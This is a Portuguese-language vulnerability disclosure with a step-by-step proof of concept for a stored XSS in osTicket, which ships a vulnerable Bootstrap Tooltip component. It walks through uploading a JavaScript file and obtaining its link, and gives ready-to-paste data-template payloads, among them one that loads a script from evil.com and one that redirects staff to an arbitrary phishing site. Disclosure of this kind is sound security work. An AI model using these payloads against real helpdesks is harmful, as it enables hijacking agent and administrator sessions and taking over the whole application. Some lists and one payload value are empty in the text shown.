
Stored Cross-Site Scripting (XSS) no osTicket através de componente Bootstrap Tooltip vulnerável
Enhancesoft osTicket versões de 1.10 até 1.17.7 e de 1.18.0 até 1.18.3 incluem o componente Bootstrap Tooltip 3.3.4 conhecido por ser vulnerável (CVE-2019-8331), o que introduz uma vulnerabilidade de Cross-Site Scripting (XSS) armazenado. Na configuração padrão do osTicket, os submissos de tickets ("usuários") podem enviar tickets sem autenticação prévia, e o auto-registro de usuários está aberto por padrão. Um usuário remoto pode criar uma mensagem de ticket maliciosa que, apesar de passar pelo módulo de sanitização HTML htmlLawed, resulta na execução arbitrária de JavaScript no navegador de qualquer Agente ou Administrador que a visualize. Este problema é agravado pelo fato de que arquivos JavaScript enviados pelo usuário são servidos com um Content-Type do tipo executável JavaScript (text/javascript), permitindo que sejam interpretados como conteúdo ativo pelos navegadores. Embora payloads inline sejam limitados pela forma como o Bootstrap Tooltip 3.3.4 analisa o valor de data-template em um objeto jQuery e o insere no DOM via appendTo() ou insertAfter(), executar código controlado pelo atacante como scripts externos contorna essas limitações e permite uma exploração mais poderosa da vulnerabilidade.
Testadas e confirmadas vulneráveis:
Versão afetada:
Este componente está presente na base de código do osTicket desde 13 de maio de 2015, conforme mostrado por:
scp/js/bootstrap-tooltip.jse5a28410ae7c238932eef07c2b3568da015a792cEste commit está associado a tags de lançamento do osTicket que remontam à versão 1.10, indicando que o componente Bootstrap Tooltip vulnerável foi incluído em uma ampla gama de versões do osTicket ao longo de várias versões principais. Essa inclusão de longo prazo sugere fortemente que muitas versões do osTicket lançadas ao longo de vários anos estão afetadas.
osTicket é um sistema de tickets de código aberto amplamente utilizado que permite que usuários finais enviem conteúdo HTML rico e anexos de arquivos como parte da criação e respostas de tickets.
osTicket define três categorias principais de usuários:
Qualquer conteúdo HTML enviado por um Usuário pode posteriormente ser renderizado no navegador de um Agente ou Admin, tornando as vulnerabilidades do lado do cliente particularmente impactantes.
Primeiro, autentique-se usando sua conta de usuário final e vá para a página de criação de tickets.
Em seguida, crie um arquivo JavaScript (ex: test.js) contendo um payload. Por exemplo:
alert(123);
Nota: Por padrão, o osTicket permite anexos de tickets sem restrições de tipo de arquivo.

Em seguida, envie o ticket clicando em “Criar Ticket” sem fornecer nenhum “Detalhe do Problema”.
A aplicação nos redirecionará de volta ao formulário de submissão de ticket com o erro “Detalhe do Problema é um campo obrigatório”.
Esta página nos permite obter um link de download para o nosso arquivo JavaScript (test.js) sem realmente enviar um ticket.


Depois de obter este link, retorne ao formulário de submissão de ticket.
Clique no editor HTML e cole este payload, substituindo o atributo src da tag script pelo link obtido anteriormente.
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='[LINK_AQUI]'>"></div>
<input>
Abaixo está um exemplo de um payload completo, onde o padrão [LINK_AQUI] foi substituído pelo link obtido anteriormente:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://localhost:8080/file.php?key=rjfge-qlcmbwgnsfl8hhwktyhctre-_e&expires=1768780800&signature=5044f8201f041228de077a2e025e6fc118b31223'>"></div>
<input>
Em seguida, envie o ticket.

Quando um administrador ou agente visualizar nosso ticket malicioso, o payload é acionado.

Resultado:
Quando um administrador/agente abre o ticket malicioso, o payload JavaScript é carregado e executado no contexto da sessão do admin/agente.
Isso resulta em um XSS armazenado, permitindo comprometimento total da sessão (por exemplo, via ezXSS, CSRF para realizar ações de admin/agente).
Se o ticket malicioso for visualizado por um Agente, o XSS armazenado é executado no contexto da sessão autenticada do Agente.
Isso permite que um atacante efetivamente assuma o controle da sessão do Agente sem precisar extrair o cookie da sessão (por exemplo, mesmo em cenários onde a exfiltração de cookies não é prática e uma plataforma blind-XSS como ezXSS é usada). Uma vez que o XSS é executado, o atacante pode realizar qualquer ação que o Agente comprometido esteja autorizado a realizar, por exemplo:
Isso resulta em um comprometimento total das capacidades operacionais do Agente e da confidencialidade/integridade do fluxo de trabalho de tickets.
Se o ticket malicioso for visualizado por um Administrador, o impacto escala para um comprometimento total da aplicação. O atacante pode:
Embora a configuração padrão do osTicket permita upload de arquivos JavaScript, o osTicket pode ser configurado no Painel Admin para que um usuário final não tenha permissão de fazer upload de arquivos JavaScript.
Além disso, o Painel de Controle da Equipe usado por agentes e administradores impõe uma Política de Segurança de Conteúdo (CSP) que impede a execução de JavaScript originário de domínios de terceiros.
Vamos tomar o seguinte payload como exemplo:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://evil.com'></object>"></div>
<input>
A captura de tela abaixo mostra que o carregamento de um script de https://evil.com foi bloqueado pela Política de Segurança de Conteúdo aplicada no Painel de Controle da Equipe.

No entanto, a Política de Segurança de Conteúdo implementada na aplicação permite JavaScript inline.

No caso em que os uploads de arquivos JavaScript estão bloqueados, ainda é possível para um atacante realizar ações maliciosas. Vamos considerar o payload abaixo:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template=""></div>
<input>
O payload Base64 decodifica para:
<script>top.location = "https://example.com";</script>
Este payload permite que um atacante redirecione um agente ou administrador que esteja visualizando o ticket malicioso para um site arbitrário, por exemplo, um site de phishing.
Aqui está o resultado após visualizar um ticket contendo o payload acima.
